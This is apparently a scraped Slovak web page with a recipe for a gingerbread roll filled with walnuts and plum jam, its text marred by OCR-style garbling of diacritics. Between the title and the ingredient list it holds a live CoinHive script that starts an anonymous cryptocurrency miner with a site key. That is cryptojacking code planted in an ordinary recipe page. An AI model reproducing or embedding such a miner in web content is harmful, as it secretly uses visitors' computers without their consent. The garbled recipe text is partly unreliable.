Pernikova rolada

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

60dkg hladkej muky alebo 50dkg bezlepkovej miky a 10dkg amarantovej muky, 10dkg masla,
25dkg praskovy cukor, 4 PL medu, 3 vajcia, 1 PL medovnikového korenia, 1 CL s6dy
bikarbdny, Stipka soli.

Plnka: mleté orechy — 8 nasypok mlyn¢eka, slivkovy lekvar.

VSetko zmieSame, vypracujeme cesto a odloZzime minimalne na 12 hodin do chladni¢ky. Cesto
rozdelime na 4 ¢asti, rozvalkame na obdiZnik, potrieme slivkovym lekvarom, posypeme orechmi
a zvinieme do rolady. Ulozime na vymasteny plech — 2 rolady na jeden plech a pecieme pri
teplote 150-180°C cca 20-25 minut. Pred pecenim popichame rolady vidli¢kou, po upeceni
hned potrieme roz&fahanym vajcom alebo mliekom. Zabalené v potravinarskej folii alebo
mikroténovom sacku vydrzi diho mékké v chladnicke.




